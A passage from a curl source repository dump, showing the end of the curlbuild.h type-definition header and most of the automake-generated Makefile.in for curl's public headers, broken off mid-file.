503 | # if (_MSC_VER >= 900) && (_INTEGRAL_MAX_BITS >= 64)
504 | # define CURL_SIZEOF_LONG 4
505 | # define CURL_TYPEOF_CURL_OFF_T __int64
506 | # define CURL_FORMAT_CURL_OFF_T "I64d"
507 | # define CURL_FORMAT_CURL_OFF_TU "I64u"
508 | # define CURL_FORMAT_OFF_T "%I64d"
509 | # define CURL_SIZEOF_CURL_OFF_T 8
510 | # define CURL_SUFFIX_CURL_OFF_T i64
511 | # define CURL_SUFFIX_CURL_OFF_TU ui64
512 | # else
513 | # define CURL_SIZEOF_LONG 4
514 | # define CURL_TYPEOF_CURL_OFF_T long
515 | # define CURL_FORMAT_CURL_OFF_T "ld"
516 | # define CURL_FORMAT_CURL_OFF_TU "lu"
517 | # define CURL_FORMAT_OFF_T "%ld"
518 | # define CURL_SIZEOF_CURL_OFF_T 4
519 | # define CURL_SUFFIX_CURL_OFF_T L
520 | # define CURL_SUFFIX_CURL_OFF_TU UL
521 | # endif
522 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
523 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
524 |
525 | /* ===================================== */
526 | /* KEEP GENERIC GCC THE LAST ENTRY */
527 | /* ===================================== */
528 |
529 | #elif defined(__GNUC__)
530 | # if !defined(__LP64__) && (defined(__ILP32__) || \
531 | defined(__i386__) || defined(__ppc__) || defined(__arm__) || \
532 | defined(__sparc__) || defined(__mips__) || defined(__sh__))
533 | # define CURL_SIZEOF_LONG 4
534 | # define CURL_TYPEOF_CURL_OFF_T long long
535 | # define CURL_FORMAT_CURL_OFF_T "lld"
536 | # define CURL_FORMAT_CURL_OFF_TU "llu"
537 | # define CURL_FORMAT_OFF_T "%lld"
538 | # define CURL_SIZEOF_CURL_OFF_T 8
539 | # define CURL_SUFFIX_CURL_OFF_T LL
540 | # define CURL_SUFFIX_CURL_OFF_TU ULL
541 | # elif defined(__LP64__) || \
542 | defined(__x86_64__) || defined(__ppc64__) || defined(__sparc64__)
543 | # define CURL_SIZEOF_LONG 8
544 | # define CURL_TYPEOF_CURL_OFF_T long
545 | # define CURL_FORMAT_CURL_OFF_T "ld"
546 | # define CURL_FORMAT_CURL_OFF_TU "lu"
547 | # define CURL_FORMAT_OFF_T "%ld"
548 | # define CURL_SIZEOF_CURL_OFF_T 8
549 | # define CURL_SUFFIX_CURL_OFF_T L
550 | # define CURL_SUFFIX_CURL_OFF_TU UL
551 | # endif
552 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
553 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
554 | # define CURL_PULL_SYS_TYPES_H 1
555 | # define CURL_PULL_SYS_SOCKET_H 1
556 |
557 | #else
558 | # error "Unknown non-configure build target!"
559 | Error Compilation_aborted_Unknown_non_configure_build_target
560 | #endif
561 |
562 | /* CURL_PULL_SYS_TYPES_H is defined above when inclusion of header file */
563 | /* sys/types.h is required here to properly make type definitions below. */
564 | #ifdef CURL_PULL_SYS_TYPES_H
565 | # include
566 | #endif
567 |
568 | /* CURL_PULL_SYS_SOCKET_H is defined above when inclusion of header file */
569 | /* sys/socket.h is required here to properly make type definitions below. */
570 | #ifdef CURL_PULL_SYS_SOCKET_H
571 | # include
572 | #endif
573 |
574 | /* Data type definition of curl_socklen_t. */
575 |
576 | #ifdef CURL_TYPEOF_CURL_SOCKLEN_T
577 | typedef CURL_TYPEOF_CURL_SOCKLEN_T curl_socklen_t;
578 | #endif
579 |
580 | /* Data type definition of curl_off_t. */
581 |
582 | #ifdef CURL_TYPEOF_CURL_OFF_T
583 | typedef CURL_TYPEOF_CURL_OFF_T curl_off_t;
584 | #endif
585 |
586 | #endif /* __CURL_CURLBUILD_H */
587 |
--------------------------------------------------------------------------------
/curl/Makefile.in:
--------------------------------------------------------------------------------
1 | # Makefile.in generated by automake 1.15 from Makefile.am.
2 | # @configure_input@
3 |
4 | # Copyright (C) 1994-2014 Free Software Foundation, Inc.
5 |
6 | # This Makefile.in is free software; the Free Software Foundation
7 | # gives unlimited permission to copy and/or distribute it,
8 | # with or without modifications, as long as this notice is preserved.
9 |
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY, to the extent permitted by law; without
12 | # even the implied warranty of MERCHANTABILITY or FITNESS FOR A
13 | # PARTICULAR PURPOSE.
14 |
15 | @SET_MAKE@
16 |
17 | VPATH = @srcdir@
18 | am__is_gnu_make = { \
19 | if test -z '$(MAKELEVEL)'; then \
20 | false; \
21 | elif test -n '$(MAKE_HOST)'; then \
22 | true; \
23 | elif test -n '$(MAKE_VERSION)' && test -n '$(CURDIR)'; then \
24 | true; \
25 | else \
26 | false; \
27 | fi; \
28 | }
29 | am__make_running_with_option = \
30 | case $${target_option-} in \
31 | ?) ;; \
32 | *) echo "am__make_running_with_option: internal error: invalid" \
33 | "target option '$${target_option-}' specified" >&2; \
34 | exit 1;; \
35 | esac; \
36 | has_opt=no; \
37 | sane_makeflags=$$MAKEFLAGS; \
38 | if $(am__is_gnu_make); then \
39 | sane_makeflags=$$MFLAGS; \
40 | else \
41 | case $$MAKEFLAGS in \
42 | *\\[\ \ ]*) \
43 | bs=\\; \
44 | sane_makeflags=`printf '%s\n' "$$MAKEFLAGS" \
45 | | sed "s/$$bs$$bs[$$bs $$bs ]*//g"`;; \
46 | esac; \
47 | fi; \
48 | skip_next=no; \
49 | strip_trailopt () \
50 | { \
51 | flg=`printf '%s\n' "$$flg" | sed "s/$$1.*$$//"`; \
52 | }; \
53 | for flg in $$sane_makeflags; do \
54 | test $$skip_next = yes && { skip_next=no; continue; }; \
55 | case $$flg in \
56 | *=*|--*) continue;; \
57 | -*I) strip_trailopt 'I'; skip_next=yes;; \
58 | -*I?*) strip_trailopt 'I';; \
59 | -*O) strip_trailopt 'O'; skip_next=yes;; \
60 | -*O?*) strip_trailopt 'O';; \
61 | -*l) strip_trailopt 'l'; skip_next=yes;; \
62 | -*l?*) strip_trailopt 'l';; \
63 | -[dEDm]) skip_next=yes;; \
64 | -[JT]) skip_next=yes;; \
65 | esac; \
66 | case $$flg in \
67 | *$$target_option*) has_opt=yes; break;; \
68 | esac; \
69 | done; \
70 | test $$has_opt = yes
71 | am__make_dryrun = (target_option=n; $(am__make_running_with_option))
72 | am__make_keepgoing = (target_option=k; $(am__make_running_with_option))
73 | pkgdatadir = $(datadir)/@PACKAGE@
74 | pkglibdir = $(libdir)/@PACKAGE@
75 | pkglibexecdir = $(libexecdir)/@PACKAGE@
76 | am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
77 | install_sh_DATA = $(install_sh) -c -m 644
78 | install_sh_PROGRAM = $(install_sh) -c
79 | install_sh_SCRIPT = $(install_sh) -c
80 | INSTALL_HEADER = $(INSTALL_DATA)
81 | transform = $(program_transform_name)
82 | NORMAL_INSTALL = :
83 | PRE_INSTALL = :
84 | POST_INSTALL = :
85 | NORMAL_UNINSTALL = :
86 | PRE_UNINSTALL = :
87 | POST_UNINSTALL = :
88 | build_triplet = @build@
89 | host_triplet = @host@
90 | subdir = include/curl
91 | ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
92 | am__aclocal_m4_deps = $(top_srcdir)/m4/curl-compilers.m4 \
93 | $(top_srcdir)/m4/curl-confopts.m4 \
94 | $(top_srcdir)/m4/curl-functions.m4 \
95 | $(top_srcdir)/m4/curl-openssl.m4 \
96 | $(top_srcdir)/m4/curl-override.m4 \
97 | $(top_srcdir)/m4/curl-reentrant.m4 $(top_srcdir)/m4/libtool.m4 \
98 | $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \
99 | $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \
100 | $(top_srcdir)/m4/xc-am-iface.m4 \
101 | $(top_srcdir)/m4/xc-cc-check.m4 \
102 | $(top_srcdir)/m4/xc-lt-iface.m4 \
103 | $(top_srcdir)/m4/xc-translit.m4 \
104 | $(top_srcdir)/m4/xc-val-flgs.m4 \
105 | $(top_srcdir)/m4/zz40-xc-ovr.m4 \
106 | $(top_srcdir)/m4/zz50-xc-ovr.m4 \
107 | $(top_srcdir)/m4/zz60-xc-ovr.m4 $(top_srcdir)/acinclude.m4 \
108 | $(top_srcdir)/configure.ac
109 | am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
110 | $(ACLOCAL_M4)
111 | DIST_COMMON = $(srcdir)/Makefile.am $(pkginclude_HEADERS) \
112 | $(am__DIST_COMMON)
113 | mkinstalldirs = $(install_sh) -d
114 | CONFIG_HEADER = $(top_builddir)/lib/curl_config.h curlbuild.h
115 | CONFIG_CLEAN_FILES =
116 | CONFIG_CLEAN_VPATH_FILES =
117 | AM_V_P = $(am__v_P_@AM_V@)
118 | am__v_P_ = $(am__v_P_@AM_DEFAULT_V@)
119 | am__v_P_0 = false
120 | am__v_P_1 = :
121 | AM_V_GEN = $(am__v_GEN_@AM_V@)
122 | am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@)
123 | am__v_GEN_0 = @echo " GEN " $@;
124 | am__v_GEN_1 =
125 | AM_V_at = $(am__v_at_@AM_V@)
126 | am__v_at_ = $(am__v_at_@AM_DEFAULT_V@)
127 | am__v_at_0 = @
128 | am__v_at_1 =
129 | SOURCES =
130 | DIST_SOURCES =
131 | am__can_run_installinfo = \
132 | case $$AM_UPDATE_INFO_DIR in \
133 | n|no|NO) false;; \
134 | *) (install-info --version) >/dev/null 2>&1;; \
135 | esac
136 | am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
137 | am__vpath_adj = case $$p in \
138 | $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
139 | *) f=$$p;; \
140 | esac;
141 | am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
142 | am__install_max = 40
143 | am__nobase_strip_setup = \
144 | srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`
145 | am__nobase_strip = \
146 | for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||"
147 | am__nobase_list = $(am__nobase_strip_setup); \
148 | for p in $$list; do echo "$$p $$p"; done | \
149 | sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \
150 | $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \
151 | if (++n[$$2] == $(am__install_max)) \
152 | { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \
153 | END { for (dir in files) print dir, files[dir] }'
154 | am__base_list = \
155 | sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
156 | sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
157 | am__uninstall_files_from_dir = { \
158 | test -z "$$files" \
159 | || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \
160 | || { echo " ( cd '$$dir' && rm -f" $$files ")"; \
161 | $(am__cd) "$$dir" && rm -f $$files; }; \
162 | }
163 | am__installdirs = "$(DESTDIR)$(pkgincludedir)"
164 | HEADERS = $(pkginclude_HEADERS)
165 | am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) \
166 | $(LISP)curlbuild.h.in
167 | # Read a list of newline-separated strings from the standard input,
168 | # and print each of them once, without duplicates. Input order is
169 | # *not* preserved.
170 | am__uniquify_input = $(AWK) '\
171 | BEGIN { nonempty = 0; } \
172 | { items[$$0] = 1; nonempty = 1; } \
173 | END { if (nonempty) { for (i in items) print i; }; } \
174 | '
175 | # Make sure the list of sources is unique. This is necessary because,
176 | # e.g., the same source file might be shared among _SOURCES variables
177 | # for different programs/libraries.
178 | am__define_uniq_tagged_files = \
179 | list='$(am__tagged_files)'; \
180 | unique=`for i in $$list; do \
181 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
182 | done | $(am__uniquify_input)`
183 | ETAGS = etags
184 | CTAGS = ctags
185 | am__DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/curlbuild.h.in
186 | DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
187 | pkgincludedir = $(includedir)/curl
188 | ACLOCAL = @ACLOCAL@
189 | AMTAR = @AMTAR@
190 | AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@
191 | AR = @AR@
192 | AS = @AS@
193 | AUTOCONF = @AUTOCONF@
194 | AUTOHEADER = @AUTOHEADER@
195 | AUTOMAKE = @AUTOMAKE@
196 | AWK = @AWK@
197 | BLANK_AT_MAKETIME = @BLANK_AT_MAKETIME@
198 | CC = @CC@
199 | CCDEPMODE = @CCDEPMODE@
200 | CFLAGS = @CFLAGS@
201 | CFLAG_CURL_SYMBOL_HIDING = @CFLAG_CURL_SYMBOL_HIDING@
202 | CONFIGURE_OPTIONS = @CONFIGURE_OPTIONS@
203 | CPP = @CPP@
204 | CPPFLAGS = @CPPFLAGS@
205 | CPPFLAG_CURL_STATICLIB = @CPPFLAG_CURL_STATICLIB@
206 | CURLVERSION = @CURLVERSION@
207 | CURL_CA_BUNDLE = @CURL_CA_BUNDLE@
208 | CURL_CFLAG_EXTRAS = @CURL_CFLAG_EXTRAS@
209 | CURL_DISABLE_DICT = @CURL_DISABLE_DICT@
210 | CURL_DISABLE_FILE = @CURL_DISABLE_FILE@
211 | CURL_DISABLE_FTP = @CURL_DISABLE_FTP@
212 | CURL_DISABLE_GOPHER = @CURL_DISABLE_GOPHER@
213 | CURL_DISABLE_HTTP = @CURL_DISABLE_HTTP@
214 | CURL_DISABLE_IMAP = @CURL_DISABLE_IMAP@
215 | CURL_DISABLE_LDAP = @CURL_DISABLE_LDAP@
216 | CURL_DISABLE_LDAPS = @CURL_DISABLE_LDAPS@
217 | CURL_DISABLE_POP3 = @CURL_DISABLE_POP3@
218 | CURL_DISABLE_PROXY = @CURL_DISABLE_PROXY@
219 | CURL_DISABLE_RTSP = @CURL_DISABLE_RTSP@
220 | CURL_DISABLE_SMB = @CURL_DISABLE_SMB@
221 | CURL_DISABLE_SMTP = @CURL_DISABLE_SMTP@
222 | CURL_DISABLE_TELNET = @CURL_DISABLE_TELNET@
223 | CURL_DISABLE_TFTP = @CURL_DISABLE_TFTP@
224 | CURL_LT_SHLIB_VERSIONED_FLAVOUR = @CURL_LT_SHLIB_VERSIONED_FLAVOUR@
225 | CURL_NETWORK_AND_TIME_LIBS = @CURL_NETWORK_AND_TIME_LIBS@
226 | CURL_NETWORK_LIBS = @CURL_NETWORK_LIBS@
227 | CYGPATH_W = @CYGPATH_W@
228 | DEFS = @DEFS@
229 | DEPDIR = @DEPDIR@
230 | DLLTOOL = @DLLTOOL@
231 | DSYMUTIL = @DSYMUTIL@
232 | DUMPBIN = @DUMPBIN@
233 | ECHO_C = @ECHO_C@
234 | ECHO_N = @ECHO_N@
235 | ECHO_T = @ECHO_T@
236 | EGREP = @EGREP@
237 | ENABLE_SHARED = @ENABLE_SHARED@
238 | ENABLE_STATIC = @ENABLE_STATIC@
239 | EXEEXT = @EXEEXT@
240 | FGREP = @FGREP@
241 | GREP = @GREP@
242 | HAVE_GNUTLS_SRP = @HAVE_GNUTLS_SRP@
243 | HAVE_LDAP_SSL = @HAVE_LDAP_SSL@
244 | HAVE_LIBZ = @HAVE_LIBZ@
245 | HAVE_OPENSSL_SRP = @HAVE_OPENSSL_SRP@
246 | IDN_ENABLED = @IDN_ENABLED@
247 | INSTALL = @INSTALL@
248 | INSTALL_DATA = @INSTALL_DATA@
249 | INSTALL_PROGRAM = @INSTALL_PROGRAM@
250 | INSTALL_SCRIPT = @INSTALL_SCRIPT@
251 | INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
252 | IPV6_ENABLED = @IPV6_ENABLED@
253 | LD = @LD@
254 | LDFLAGS = @LDFLAGS@
255 | LIBCURL_LIBS = @LIBCURL_LIBS@
256 | LIBMETALINK_CPPFLAGS = @LIBMETALINK_CPPFLAGS@
257 | LIBMETALINK_LDFLAGS = @LIBMETALINK_LDFLAGS@
258 | LIBMETALINK_LIBS = @LIBMETALINK_LIBS@
259 | LIBOBJS = @LIBOBJS@
260 | LIBS = @LIBS@
261 | LIBTOOL = @LIBTOOL@
262 | LIPO = @LIPO@
263 | LN_S = @LN_S@
264 | LTLIBOBJS = @LTLIBOBJS@
265 | LT_SYS_LIBRARY_PATH = @LT_SYS_LIBRARY_PATH@
266 | MAINT = @MAINT@
267 | MAKEINFO = @MAKEINFO@
268 | MANIFEST_TOOL = @MANIFEST_TOOL@
269 | MANOPT = @MANOPT@
270 | MKDIR_P = @MKDIR_P@
271 | NM = @NM@
272 | NMEDIT = @NMEDIT@
273 | NROFF = @NROFF@
274 | NSS_LIBS = @NSS_LIBS@
275 | OBJDUMP = @OBJDUMP@
276 | OBJEXT = @OBJEXT@
277 | OTOOL = @OTOOL@
278 | OTOOL64 = @OTOOL64@
279 | PACKAGE = @PACKAGE@
280 | PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
281 | PACKAGE_NAME = @PACKAGE_NAME@
282 | PACKAGE_STRING = @PACKAGE_STRING@
283 | PACKAGE_TARNAME = @PACKAGE_TARNAME@
284 | PACKAGE_URL = @PACKAGE_URL@
285 | PACKAGE_VERSION = @PACKAGE_VERSION@
286 | PATH_SEPARATOR = @PATH_SEPARATOR@
287 | PERL = @PERL@
288 | PKGADD_NAME = @PKGADD_NAME@
289 | PKGADD_PKG = @PKGADD_PKG@
290 | PKGADD_VENDOR = @PKGADD_VENDOR@
291 | PKGCONFIG = @PKGCONFIG@
292 | RANDOM_FILE = @RANDOM_FILE@
293 | RANLIB = @RANLIB@
294 | REQUIRE_LIB_DEPS = @REQUIRE_LIB_DEPS@
295 | SED = @SED@
296 | SET_MAKE = @SET_MAKE@
297 | SHELL = @SHELL@
298 | SSL_ENABLED = @SSL_ENABLED@
299 | SSL_LIBS = @SSL_LIBS@
300 | STRIP = @STRIP@
301 | SUPPORT_FEATURES = @SUPPORT_FEATURES@
302 | SUPPORT_PROTOCOLS = @SUPPORT_PROTOCOLS@
303 | USE_ARES = @USE_ARES@
304 | USE_AXTLS = @USE_AXTLS@
305 | USE_CYASSL = @USE_CYASSL@
306 | USE_DARWINSSL = @USE_DARWINSSL@
307 | USE_GNUTLS = @USE_GNUTLS@
308 | USE_GNUTLS_NETTLE = @USE_GNUTLS_NETTLE@
309 | USE_LIBRTMP = @USE_LIBRTMP@
310 | USE_LIBSSH2 = @USE_LIBSSH2@
311 | USE_MBEDTLS = @USE_MBEDTLS@
312 | USE_NGHTTP2 = @USE_NGHTTP2@
313 | USE_NSS = @USE_NSS@
314 | USE_OPENLDAP = @USE_OPENLDAP@
315 | USE_POLARSSL = @USE_POLARSSL@
316 | USE_SCHANNEL = @USE_SCHANNEL@
317 | USE_UNIX_SOCKETS = @USE_UNIX_SOCKETS@
318 | USE_WINDOWS_SSPI = @USE_WINDOWS_SSPI@
319 | VERSION = @VERSION@
320 | VERSIONNUM = @VERSIONNUM@
321 | ZLIB_LIBS = @ZLIB_LIBS@
322 | ZSH_FUNCTIONS_DIR = @ZSH_FUNCTIONS_DIR@
323 | abs_builddir = @abs_builddir@
324 | abs_srcdir = @abs_srcdir@
325 | abs_top_builddir = @abs_top_builddir@
326 | abs_top_srcdir = @abs_top_srcdir@
327 | ac_ct_AR = @ac_ct_AR@
328 | ac_ct_CC = @ac_ct_CC@
329 | ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
330 | am__include = @am__include@
331 | am__leading_dot = @am__leading_dot@
332 | am__quote = @am__quote@
333 | am__tar = @am__tar@
334 | am__untar = @am__untar@
335 | bindir = @bindir@
336 | build = @build@
337 | build_alias = @build_alias@
338 | build_cpu = @build_cpu@
339 | build_os = @build_os@
340 | build_vendor = @build_vendor@
341 | builddir = @builddir@
342 | datadir = @datadir@
343 | datarootdir = @datarootdir@
344 | docdir = @docdir@
345 | dvidir = @dvidir@
346 | exec_prefix = @exec_prefix@
347 | host = @host@
348 | host_alias = @host_alias@
349 | host_cpu = @host_cpu@
350 | host_os = @host_os@
351 | host_vendor = @host_vendor@
352 | htmldir = @htmldir@
353 | includedir = @includedir@
354 | infodir = @infodir@
355 | install_sh = @install_sh@
356 | libdir = @libdir@
357 | libexecdir = @libexecdir@
358 | libext = @libext@
359 | localedir = @localedir@
360 | localstatedir = @localstatedir@
361 | mandir = @mandir@
362 | mkdir_p = @mkdir_p@
363 | oldincludedir = @oldincludedir@
364 | pdfdir = @pdfdir@
365 | prefix = @prefix@
366 | program_transform_name = @program_transform_name@
367 | psdir = @psdir@
368 | runstatedir = @runstatedir@
369 | sbindir = @sbindir@
370 | sharedstatedir = @sharedstatedir@
371 | srcdir = @srcdir@
372 | subdirs = @subdirs@
373 | sysconfdir = @sysconfdir@
374 | target_alias = @target_alias@
375 | top_build_prefix = @top_build_prefix@
376 | top_builddir = @top_builddir@
377 | top_srcdir = @top_srcdir@
378 |
379 | #***************************************************************************
380 | # _ _ ____ _
381 | # Project ___| | | | _ \| |
382 | # / __| | | | |_) | |
383 | # | (__| |_| | _ <| |___
384 | # \___|\___/|_| \_\_____|
385 | #
386 | # Copyright (C) 1998 - 2011, Daniel Stenberg, , et al.
387 | #
388 | # This software is licensed as described in the file COPYING, which
389 | # you should have received as part of this distribution. The terms
390 | # are also available at https://curl.haxx.se/docs/copyright.html.
391 | #
392 | # You may opt to use, copy, modify, merge, publish, distribute and/or sell
393 | # copies of the Software, and permit persons to whom the Software is
394 | # furnished to do so, under the terms of the COPYING file.
395 | #
396 | # This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
397 | # KIND, either express or implied.
398 | #
399 | ###########################################################################
400 | pkginclude_HEADERS = \
401 | curl.h curlver.h easy.h mprintf.h stdcheaders.h multi.h \
402 | typecheck-gcc.h curlbuild.h curlrules.h
403 |
404 |
405 | # curlbuild.h does not exist in the git tree. When the original libcurl
406 | # source code distribution archive file is created, curlbuild.h.dist is
407 | # renamed to curlbuild.h and included in the tarball so that it can be
408 | # used directly on non-configure systems.
409 | #
410 | # The distributed curlbuild.h will be overwritten on configure systems
411 | # when the configure script runs, with one that is suitable and specific
412 | # to the library being configured and built.
413 | #
414 | # curlbuild.h.in is the distributed template file from which the configure
415 | # script creates curlbuild.h at library configuration time, overwiting the
416 | # one included in the distribution archive.
417 | #
418 | # curlbuild.h.dist is not included in the source code distribution archive.
419 | EXTRA_DIST = curlbuild.h.in
420 | DISTCLEANFILES = curlbuild.h
421 | all: curlbuild.h
422 | $(MAKE) $(AM_MAKEFLAGS) all-am
423 |
424 | .SUFFIXES:
425 | $(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am $(am__configure_deps)
426 | @for dep in $?; do \
427 | case '$(am__configure_deps)' in \
428 | *$$dep*) \
429 | ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \
430 | && { if test -f $@; then exit 0; else break; fi; }; \
431 | exit 1;; \
432 | esac; \
433 | done; \
434 | echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu include/curl/Makefile'; \
435 | $(am__cd) $(top_srcdir) && \
436 | $(AUTOMAKE) --gnu include/curl/Makefile
437 | Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
438 | @case '$?' in \
439 | *config.status*) \
440 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
441 | *) \
442 | echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
443 | cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
444 | esac;
445 |
446 | $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
447 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
448 |
449 | $(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
450 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
451 | $(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
452 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
453 | $(am__aclocal_m4_deps):
454 |
455 | curlbuild.h: stamp-h2
456 | @test -f $@ || rm -f stamp-h2
457 | @test -f $@ || $(MAKE) $(AM_MAKEFLAGS) stamp-h2
458 |
459 | stamp-h2: $(srcdir)/curlbuild.h.in $(top_builddir)/config.status
460 | @rm -f stamp-h2
461 | cd $(top_builddir) && $(SHELL) ./config.status include/curl/curlbuild.h
462 |
463 | distclean-hdr:
464 | -rm -f curlbuild.h stamp-h2
465 |
466 | mostlyclean-libtool:
467 | -rm -f *.lo
468 |
469 | clean-libtool:
470 | -rm -rf .libs _libs
471 | install-pkgincludeHEADERS: $(pkginclude_HEADERS)
472 | @$(NORMAL_INSTALL)
473 | @list='$(pkginclude_HEADERS)'; test -n "$(pkgincludedir)" || list=; \
474 | if test -n "$$list"; then \
475 | echo " $(MKDIR_P) '$(DESTDIR)$(pkgincludedir)'"; \
476 | $(MKDIR_P) "$(DESTDIR)$(pkgincludedir)" || exit 1; \
477 | fi; \
478 | for p in $$list; do \
479 | if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
480 | echo "$$d$$p"; \
481 | done | $(am__base_list) | \
482 | while read files; do \
483 | echo " $(INSTALL_HEADER) $$files '$(DESTDIR)$(pkgincludedir)'"; \
484 | $(INSTALL_HEADER) $$files "$(DESTDIR)$(pkgincludedir)" || exit $$?; \
485 | done
486 |
487 | uninstall-pkgincludeHEADERS:
488 | @$(NORMAL_UNINSTALL)
489 | @list='$(pkginclude_HEADERS)'; test -n "$(pkgincludedir)" || list=; \
490 | files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \
491 | dir='$(DESTDIR)$(pkgincludedir)'; $(am__uninstall_files_from_dir)
492 |
493 | ID: $(am__tagged_files)
494 | $(am__define_uniq_tagged_files); mkid -fID $$unique
495 | tags: tags-am
496 | TAGS: tags
497 |
498 | tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files)
499 | set x; \
500 | here=`pwd`; \
501 | $(am__define_uniq_tagged_files); \
502 | shift; \
503 | if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \
504 | test -n "$$unique" || unique=$$empty_fix; \
505 | if test $$# -gt 0; then \
506 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
507 | "$$@" $$unique; \
508 | else \
509 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
510 | $$unique; \
511 | fi; \
512 | fi
513 | ctags: ctags-am
514 |
515 | CTAGS: ctags
516 | ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files)
517 | $(am__define_uniq_tagged_files); \
518 | test -z "$(CTAGS_ARGS)$$unique" \
519 | || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
520 | $$unique
521 |
522 | GTAGS:
523 | here=`$(am__cd) $(top_builddir) && pwd` \
524 | && $(am__cd) $(top_srcdir) \
525 | && gtags -i $(GTAGS_ARGS) "$$here"
526 | cscopelist: cscopelist-am
527 |
528 | cscopelist-am: $(am__tagged_files)
529 | list='$(am__tagged_files)'; \
530 | case "$(srcdir)" in \
531 | [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \
532 | *) sdir=$(subdir)/$(srcdir) ;; \
533 | esac; \
534 | for i in $$list; do \
535 | if test -f "$$i"; then \
536 | echo "$(subdir)/$$i"; \
537 | else \
538 | echo "$$sdir/$$i"; \
539 | fi; \
540 | done >> $(top_builddir)/cscope.files
541 |
542 | distclean-tags:
543 | -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
544 |
545 | distdir: $(DISTFILES)
546 | @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
547 | topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
548 | list='$(DISTFILES)'; \
549 | dist_files=`for file in $$list; do echo $$file; done | \
550 | sed -e "s|^$$srcdirstrip/||;t" \
551 | -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \
552 | case $$dist_files in \
553 | */*) $(MKDIR_P) `echo "$$dist_files" | \
554 | sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \
555 | sort -u` ;; \
556 | esac; \
557 | for file in $$dist_files; do \
558 | if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
559 | if test -d $$d/$$file; then \
560 | dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
561 | if test -d "$(distdir)/$$file"; then \
562 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
563 | fi; \
564 | if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
565 | cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \
566 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
567 | fi; \
568 | cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \
569 | else \
570 | test -f "$(distdir)/$$file" \
571 | || cp -p $$d/$$file "$(distdir)/$$file" \
572 | || exit 1; \
573 | fi; \
574 | done
575 | check-am: all-am
576 | check: check-am
577 | @CURLDEBUG_FALSE@all-local:
578 | all-am: Makefile $(HEADERS) curlbuild.h all-local
579 | installdirs:
